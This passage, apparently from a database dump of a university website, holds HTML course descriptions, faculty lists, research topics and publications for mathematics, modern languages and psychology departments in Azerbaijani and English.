təsviri','<p><strong>MATH 104: Calculus I (6&nbsp;<strong>ECTS</strong>  credit)</strong></p><p style=\"font-size:medium\"><strong>Ön şərt (Prerekvizit): MATH 098</strong></p><p style=\"font-size:medium\">Bu kurs riyazi analizin əsas məntiqi anlayışına əsaslanmışdır: Həqiqi ədədlər sistemini, riyazi induksiya, funksiyaların və onların qrafikləri, &nbsp;diferensial hesabının əsaslarını təqdim edir. Limitlər və kəsilməzlik. Cəbri, trigonometric və tərs trigonometric funksiyaları törəmələri. Funksiyaları araşdırılması üçün diferensial hesabının tətbiqi. Inteqrallara giriş və onların tətbiqləri.</p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>MATH 203: Riyaziyyat II (6&nbsp;<strong>ECTS</strong>  kredit)</strong></p><p style=\"font-size:medium\"><strong>Ön şərt (Prerekvizit): MATH 104</strong></p><p style=\"font-size:medium\">Bu kurs inteqral anlayışını mükəmməl öyrənməklə və kompleks ədəd anlayışlarını bir giriş kimi təmin edir. Cəbri, trigonometric və transendent funksiyaların inteqrallanmasını öyrənməklə,müəyyən inteqralın əsas xassələrinini öyrənir. Sahələrin, həcmlərin hesablanmasına&nbsp; tətbiqini öyrənir.Bu kurs iki və ya çoxdəyişənl funksiyaların diferensiallanmasının və inteqrallanmasının öyrənməklə&nbsp; Həmin funksiyaların Teylor sırasınına ayrılışını öyrənir.</p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>MATH 303: Diferensial tənliklər (6&nbsp;<strong>ECTS</strong>  kredit)</strong></p><p><strong>Ön şərt (Prerekvizit): &nbsp;MATH 104</strong></p><p style=\"font-size:medium\">Bu kurs&nbsp; adi diferensial tənliklər nəzəri və tətbiqi aspektlərini öyrənir. Bir tərtibli diferensial tənliklərın dəqiq həlləri,sıra şəklində olan həlləri, Xətti diferensıal tənlıklərin ümumi həlli öyrənilir.Eyni zamanda Laplace çevirməsı, Fourier sırası, və sərhəd məsələləri öyrənilir.</p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>MATH 306: Xətti Cəbr və analitik həndəsə (6&nbsp;<strong>ECTS</strong>  kredit)</strong></p><p style=\"font-size:medium\"><strong>Ön şərt (Prerekvizit): &nbsp;MATH 104</strong></p><p style=\"font-size:medium\">Bu kurs analitik həndəs,vector fəzalarını, xətti çevirmələri, matrisləri, determinantları və xətti tənliklər sisteminin , Gauss metodu ilə həllini&nbsp; öyrənməklə, Cramer &nbsp;qaydası ilə də xətti tənliklər sisteminin həlli öyrənilir.Vektorlar, vektor fəzaları, onların bazısləri və ölçüləri,məxsusi ədədləri və məxsusi vektorları&nbsp; və ən nəhayət kvadratik formalr şəhr edilir.</p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>MATH 323: Cəbr və ədədlər nəzəriyyəsi-I (6&nbsp;<strong>ECTS</strong>  kredit)</strong></p><p style=\"font-size:medium\"><strong>Ön şərt (Prerekvizit):MATH 306</strong></p><p style=\"font-size:medium\">Xətti fəzalar, altfəzalar və qoşma fəzalar; xətti asılılı və xətti asılılıolmayan sistemlər; bazis və fəzanın ölçüsü, tənliklər,determinantlar. Kvadraıkt forma və çox dəyişənli funksiyaların lokal ekstremumla əlaqələri.Bölünmə qabılıyyəti və sadə ədədlər. Klassik ədədi nəzəri funksiyalar. ƏKOB və ƏBOB. Diofant tənliklər. hesabın əsas teoremi. &nbsp;Müqayisə(tutuşdurmalar).Euler Pi funksiyası və digər hesabi funksiyalar.Mersenin sadə və mükəmməl ədədləri. Ibtidai köklər.</p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>MATH 401: Cəbr və ədədlər nəzəriyyəsi-II (6&nbsp;<strong>ECTS</strong>  kredit)</strong></p><p style=\"font-size:medium\"><strong>Ön şərt (Prerekvizit):MATH 306, 323</strong></p><p style=\"font-size:medium\">Məxsusi ədədlər ​​və məxsusi vektorların xüsusi nəzəriyyəsi; Jordanın kanonik formaları. Daxili (skalyar) hasil və ortogonallıq. Öz-özünə -qoşma &nbsp;inikaslar, matris bərabərsizliklər. Xətti normal fəzalar və onların müsbət matrisleri arasında xətti çevriməsi. Tətbiqlər. Fermanın kişik teoremi. Euler teoremi.Sonlu meydanlarda ədədlər nəzəriyyəsinin elementləri, Zeta və teta funksiyaları, cəbri ədədlər, sadə ədədlər nəzəriyyəsi, ədədlər sinfi, kvadratik forma, diofant yaxınlaşma, p-adikədədlər, elliptik əyrilər.</p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>MATH 406: Ətraflı Riyaziyyat (Kompleks analiz&nbsp;və funksional analiz) (6&nbsp;<strong>ECTS</strong>  kredit)</strong></p><p style=\"font-size:medium\"><strong>Ön şərt (Prerekvizit):MATH 104, 203</strong></p><p style=\"font-size:medium\">Sonsuz ardıcıllıqlar və sıralar; Kompleks ədədlərincəbri və həndəsi şəkli; analitik funksiyalar; inteqrallama;qüvvət sıraları; çıxıqlar nəzəriyyəsi; Conform&nbsp; inikas.&nbsp;Metrik və Normalı fəzalar; Banah fəzası; Hilbert fəzası; Hilbert fəzasında xətti operatorların məhdudluğu. Xətti məhdud operatorların Spectriu;Ölçü nəzəriyyəsi, Lebeq integralı və funksiyalar&nbsp; fəzası.</p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>MATH 408: Tətbiqi Riyaziyyat</strong></p><p style=\"font-size:medium\"><strong>Ön şərt (Prerekvizit):MATH 104, 203</strong></p><p style=\"font-size:medium\">Klassik Tətbiqi Riyaziyyat və onun tətbiqləri. Laplas çevirməsi, Furye &nbsp;sırası, Vector hesabı, xüsusi törəməli diferensial tənliklər və tətbiqləri. Şturm-Liouvill nəzəriyyəsi.</p>'),(991,465,'az','Elmi-Tədqiqat','Elmi-Tədqiqat','<div><br></div><div><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">1. Fizika-riyaziyyat elmləri doktoru, professor Hamlet\r\nİsaxanlı --- 300-dən çox&nbsp; çap olunmuş əsərləri\r\nvar: Riyaziyyat, Təhsil, Humanitar və sosial elmləri.&nbsp;\r\nMonoqrafiyalar.Müxtəlif kitabların redaktoru.və sairə, Ümumiyyətlə, Tədqiqat\r\nmövzuları müxtəlifdir;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">2. Fizika-riyaziyyat elmləri doktoru, professor Nazim Kərimov --- Diferensial operatorların spektral nəzəriyyəsi;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">4. Riyaziyyat üzrə fəlsəfə doktoru, Əli\r\nHüseynli --- Diferensial operatorların spektral nəzəriyyəsi; qeyri-harmonik\r\nanaliz;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">5. Fizika-riyaziyyat elmləri doktoru,\r\nprofessor İbrahim Nəbiyev --- Diferensial operatorların spektral nəzəriyyəsi;\r\ntərs spektral məsələlər;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">6. Fizika-riyaziyyat elmləri nazmizədi,\r\ndosent Məhəmməd Nurməmmədov --- Diferensial operatorlar; sərhəd məsələləri;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">7. Riyaziyyat üzrə fəlsəfə doktoru, dosent, Tərlan Qarayev&nbsp;--- Funksional fəzalarda bazislik məsələləri; qeyri-harmanik\r\nanaliz;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">8. Fizika-riyaziyyat elmləri namizədi,\r\nElvin Əzizbəyov --- Diferensial tənliklər.</p>\r\n<p>&nbsp;</p>  <br></div>'),(992,635,'en',' People',' People','<div><br></div><br><p><a href=\"http://www.khazar.org/files/GUNEL_MAMMADOVA_CV.doc\">Gunel Memmedova</a> &nbsp;&nbsp;– coordinator of the Department of Modern Languages and comparative literature, instructor of Spanish language.&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/CV%20Irada%20Piriyeva%20(1).doc\">Irada Piriyeva</a>&nbsp;&nbsp; – instructor of French language.&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Faramaz_Bagirov_CV.doc\">Faramaz Bagirov</a>&nbsp;&nbsp;- instructor of French language&nbsp;<br></p><p>Abbas Abbasov &nbsp;CV&nbsp;- instructor of German language&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc%20Allahverdiyeva.doc\">Sevinc Allakhverdiyeva</a>&nbsp;</p><p>&nbsp;<a href=\"http://www.khazar.org/files/pdf/NERG%C4%B0Z%20MEL%C4%B0KOVA.doc\">Nargis Melikova</a></p><div><br></div><p></p>  <br>'),(994,636,'en','History','History','<div><br></div><div><p>The Department of Western Languages was established in 1995. The principal driving factors for its establishment were tremendous social significance, a great need for highly qualified specialists equipped with professional knowledge of two different languages, and the encouragement of University policy. In 2004 the Department was renamed the Department of Modern Languages and Comparative Literature. Courses in French, German, Italian, Spanish and Russian languages are offered at the Department on a regular basis. </p> <br></div>'),(993,635,'az',' İşçi heyəti',' İşçi heyəti','<div><br></div><p><strong>Günel Məmmədova</strong>&nbsp;-&nbsp; Müasir dillər və müqayisəli ədəbiyyat departamentini koordinatoru, İspan dili müəllimi<br><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV%20Irada%20Piriyeva%20(1).doc\">Iradə Piriyeva</a>&nbsp;</strong>– fransız dili müəllimi<br><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Faramaz_Bagirov_CV.doc\">Fərəməz Bağırov&nbsp;</a></strong>– fransız dili müəllimi<br><strong><br></strong></p><p><strong>Sədaqət Cumayeva&nbsp;</strong>– alman dili müəllimi  <br></p>'),(995,636,'az','Tarixi','Tarixi','<div><br></div><p>1995-ci ildən fəaliyyət göstərən Qərb dilləri departamenti 2004-cü ildən etibarən Müasir dillər və müqayisəli ədəbiyyat departamenti adlandırılmağa başlandı. Departamentin yaradılması təşəbbüsü Universitetin siyasi xətti ilə yanaşı, ictimai əhəmiyyəti və iki müxtəlif dildə səlis danışma qabiliyyətli yüksək səviyyəli mütəxəssis ehtiyacından irəli gəlirdi. Departamentdə müntəzəm olaraq Alman, Fransız, İspan, İtalyan və Rus dilləri təklif olunur.  <br></p>'),(996,637,'az','Fənlər','Fənlər','<div><br></div><div><p style=\"font-size:medium\"><strong>SPAN 201: Elementary Spanish (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>SPAN 202: Intermediate Spanish (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: SPAN 201</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing) at the intermediate and advanced levels.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>SPAN 303: Conversation and composition (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: SPAN 202</strong></p><p style=\"font-size:medium\">Spoken Spanish; composition; development of vocabulary; grammar review.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>SPAN 304: Spanish Media (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: SPAN 303</strong></p><p style=\"font-size:medium\">Focus on media. Reading and analysis of Spanish and Latin American newspapers and journals; exercises using Spanish language radio and video broadcasts.</p><p style=\"font-size:medium\"><strong>FREN 201: Elementary French (3credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>FREN 202: Intermediate French (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 201</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing) at the intermediate and advanced levels.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>FREN 303: Conversation and Composition (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 202</strong></p><p style=\"font-size:medium\">Spoken French; composition; development of vocabulary; grammar review.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>FREN 304: French Media (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 303</strong></p><p style=\"font-size:medium\">Focus on media. Reading and analysis of French newspapers and journals; exercises using French language radio and video broadcasts.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>FREN 405 French for Social Sciences (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 303</strong></p><p style=\"font-size:medium\">Technical, scientific and scholarly use of French in both written and oral forms.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>ITAL 201: Elementary Italian (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-size:medium\">The course provides elementary Italian language skills according to all four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>ITAL 202: Intermediate Italian (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: ITAL 201</strong></p><p style=\"font-size:medium\">Emphasis is put on proficiency according to all four language modalities (listening, reading, speaking, writing) at the intermediate level.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;GERM 201: Elementary German (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-size:medium\">The course provides elementary German language skills according to all four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>GERM 202: Intermediate German (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 201</strong></p><p style=\"font-size:medium\">Emphasis is put on proficiency according to all four language modalities (listening, reading, speaking, writing) at the intermediate level.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>GERM 303: Conversation and Composition (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 202</strong></p><p style=\"font-size:medium\">Spoken German; composition; development of vocabulary; grammar review.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>GERM 304: German Media (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 303</strong></p><p style=\"font-size:medium\">Focus on media. Reading and analysis of German newspapers and journals; exercises using German language radio and video broadcasts.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>GERM 405 German for Social Sciences (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 303</strong></p><p style=\"font-size:medium\">Technical, scientific and scholarly use of German in both written and oral forms.</p>  <br></div>'),(997,637,'en','Courses','Courses','<div><br></div><div><p style=\"font-size:medium\"><strong>SPAN 201: Elementary Spanish (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>SPAN 202: Intermediate Spanish (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: SPAN 201</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing) at the intermediate and advanced levels.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>SPAN 303: Conversation and composition (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: SPAN 202</strong></p><p style=\"font-size:medium\">Spoken Spanish; composition; development of vocabulary; grammar review.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>SPAN 304: Spanish Media (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: SPAN 303</strong></p><p style=\"font-size:medium\">Focus on media. Reading and analysis of Spanish and Latin American newspapers and journals; exercises using Spanish language radio and video broadcasts.</p><p style=\"font-size:medium\"><strong>FREN 201: Elementary French (3credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>FREN 202: Intermediate French (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 201</strong></p><p style=\"font-size:medium\">Emphasis on proficiency according to the level of instruction. All four language modalities (listening, reading, speaking, writing) at the intermediate and advanced levels.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>FREN 303: Conversation and Composition (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 202</strong></p><p style=\"font-size:medium\">Spoken French; composition; development of vocabulary; grammar review.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>FREN 304: French Media (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 303</strong></p><p style=\"font-size:medium\">Focus on media. Reading and analysis of French newspapers and journals; exercises using French language radio and video broadcasts.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>FREN 405 French for Social Sciences (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: FREN 303</strong></p><p style=\"font-size:medium\">Technical, scientific and scholarly use of French in both written and oral forms.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>ITAL 201: Elementary Italian (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-size:medium\">The course provides elementary Italian language skills according to all four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>ITAL 202: Intermediate Italian (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: ITAL 201</strong></p><p style=\"font-size:medium\">Emphasis is put on proficiency according to all four language modalities (listening, reading, speaking, writing) at the intermediate level.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;GERM 201: Elementary German (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-size:medium\">The course provides elementary German language skills according to all four language modalities (listening, reading, speaking, writing): sequential emphasis beginning with the reception modalities, listening and reading, followed by the production modalities, speaking and writing.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>GERM 202: Intermediate German (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 201</strong></p><p style=\"font-size:medium\">Emphasis is put on proficiency according to all four language modalities (listening, reading, speaking, writing) at the intermediate level.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>GERM 303: Conversation and Composition (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 202</strong></p><p style=\"font-size:medium\">Spoken German; composition; development of vocabulary; grammar review.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>GERM 304: German Media (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 303</strong></p><p style=\"font-size:medium\">Focus on media. Reading and analysis of German newspapers and journals; exercises using German language radio and video broadcasts.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>GERM 405 German for Social Sciences (3 credits)</strong></p><p style=\"font-size:medium\"><strong>Prerequisite: GERM 303</strong></p><p style=\"font-size:medium\">Technical, scientific and scholarly use of German in both written and oral forms.</p>  <br></div>'),(2513,1517,'az','Xəbər saytı Bakı ilə tanışlıq üçün ipucu verir','Azvizion.az xəbər saytı Bakı şəhəri ilə tanışlıq üçün “Bakının gözəlliklərini kəşf etmək üçün ipucu” (Hints to discover beauties of Baku) adlı ingiliscə qısa bir məlumat hazırlamışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong><em>Azvizion.az</em></strong>\r\nxəbər saytı Bakı şəhəri ilə tanışlıq üçün “Bakının gözəlliklərini kəşf etmək\r\nüçün ipucu” (<em>Hints to discover beauties\r\nof Baku</em>) adlı ingiliscə qısa bir məlumat hazırlamışdır. Məlumatda Bakıdakı\r\nöncül təhsil ocaqlarından biri kimi Xəzər Universitetinin də adı çəkilir. Məlumatla\r\nyanaşı, Bakının rəmzinə çevrilmiş bir sıra məkanların fotoşəkilləri də\r\nyayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu haqda daha geniş məlumatı bu link vasitəsilə\r\nəldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://en.azvision.az/\">http://en.azvision.az/</a>.&nbsp;</p>'),(998,638,'en','Syllabi','Syllabi','<div><strong><br></strong></div><p><strong>SPRING 2014</strong></p><p><a href=\"http://www.khazar.org/files/pdf/Spring%202014%20Alman%202%20(1).doc\">GERM 202 German 2</a>&nbsp;&nbsp;  <br></p><p><a href=\"http://www.khazar.org/files/pdf/Spring%202014%20Espa%C3%B1ol%202.doc\">SPAN202 Español</a>&nbsp; </p><p><a href=\"http://www.khazar.org/files/pdf/Spring%202014%20French%202.doc\">FREN 202 French</a></p><div>  <br></div><div><br></div><div> <div><br></div><br></div>'),(999,638,'az','Tədris proqramları','Tədris proqramları','<div><br></div><div> <div><p style=\"background:undefined \"><strong>Yaz 2014</strong></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/pdf/Spring%202014%20Alman%202%20(1).doc\">GERM 202 German 2</a>&nbsp;&nbsp;&nbsp;<br></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/pdf/Spring%202014%20Espa%C3%B1ol%202.doc\">SPAN202 Español</a>&nbsp;</p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/pdf/Spring%202014%20French%202.doc\">FREN 202 French</a></p><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><div style=\"background:undefined \"><br></div></div></div><br></div>'),(1000,639,'en','Research','Research','<div><br></div><p><strong>Irada Piriyeva:</strong>  <br></p><div><br></div><div><p></p><ul><li>“Pronunciation of consonant sequence by Azerbaijani people“(Realisation des suites de consounes par les locuteurs azerbaidjanais”)</li><li>Incidental characters on “In quest of a lost time”. (Les personages episodiques dans ”A la recherché du temps perdu”)</li></ul><p></p>  <br></div><div><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></div><div><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></div><p><strong style=\"font-family:\'times new roman\', times, serif\">Abbas Abbasov</strong></p><div><ul><li><p>Teaching first grade students authentic audio dialogues via communicative competences of polylogarithm.&nbsp; Methods and Methodology of teaching of foreign languages. </p></li></ul></div><div>  <br></div>'),(1001,639,'az',' Elmi-Tədqiqat',' Elmi-Tədqiqat','<div><br></div><p><strong>Iradə Piriyeva:</strong></p><ul style=\"font-size:medium\"><li>“Azərbaycandilli oxucuların fransız samitlərini tələffüz etməsi” (Realisation des suites de consounes par les locuteurs azerbaidjanais”)</li><li>&nbsp;“İtirlmiş vaxtın axtarışında” əsərində epizodik obrazlar. (Les personages episodiques dans ”A la recherché du temps perdu”)</li></ul>  <br><p></p>'),(1002,640,'en','Publications','Publications','<div><br></div><p></p><div><div><ul><li>“Parlons talysh,” Harmattan, Paris december, 2010. Irada Piriyeva</li><li>French- Azerbaijani dictionary. Faramaz Bagirov.</li><li>Azerbaijani- French dictionary. Faramaz Bagirov. Baku, 2009.</li></ul></div></div><p></p>'),(1003,640,'az','Nəşrlər','Nəşrlər','<div><div><br></div></div><p></p><ul style=\"font-size:medium\"><li>“Parlons talysh,” Harmattan, Paris dekabr, 2010. Iradə Piriyeva</li><li>Fransız – Azərbaycan dili lüğəti. Fərəməz Bağırov.</li><li>&nbsp;Azərbaycan- Fransız dili lüğəti. Fərəməz Bağırov. Bakı, 2009.</li></ul>  <br><p></p>'),(1004,641,'en','Faculty and Staff','Faculty and Staff','<p><img src=\"/files/psycho_depart/27848983_929272787248067_1562425506_n.jpg\" style=\"width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\">Ulkar Isayeva</a></strong></p>\r\n<p><strong><a href=\"http://www.khazar.org/en/menus/901/_ulker_isayeva\"></a></strong><strong>Head of </strong><strong>Psychology Department&nbsp;</strong><br></p><p>PhD candidate in Social and Organizational Psychology (Koc&nbsp;University, Turkey)&nbsp;</p><p>MS in&nbsp;Cognitive Neuroscience (York University, England)&nbsp;</p><p>BS&nbsp;in Psychology (Khazar University, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:uisayeva@khazar.org\">uisayeva[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p>\r\n<img src=\"/files/social/foto/melek.JPG\" style=\"margin:7px;float:left;width:150px;height:154px\"><strong style=\"color:#3366ff\"><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\">Malak Karimova</a></strong>\r\n</p>\r\n<p style=\"text-align:justify\"><strong>Coordinator of Psychology Department&nbsp;</strong></p><p><strong>Director of Khazar Psychological Center</strong>\r\n</p>\r\n<p>PhD candidate in Social Philosophy (Khazar University, Azerbaijan)<br></p><p style=\"text-align:justify\">MS in&nbsp;Guidance and Psychological Counselor (Hacettepe University, Turkey)  </p><p style=\"text-align:justify;padding-left:160px\">BS in&nbsp;Guidance and Psychological Counselor (Hacettepe University,&nbsp;Turkey)</p><p style=\"text-align:justify;padding-left:160px\"><strong>E-mail</strong>:&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  <a href=\"http://mkerimova@khazar.org/\"></a></p><p style=\"text-align:justify;padding-left:160px\"><strong>Phone</strong>:&nbsp;(+994&nbsp;12) 421 10 93 (275)</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/social/foto/T.%20Javadzade%20CV%2012%20(1).pdf\"><img src=\"/files/psycho_depart/images/nilufar_alizada.jpg\" style=\"width:150px;height:226px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/nilufar_alizada_CV(EN).pdf\">Nilufar 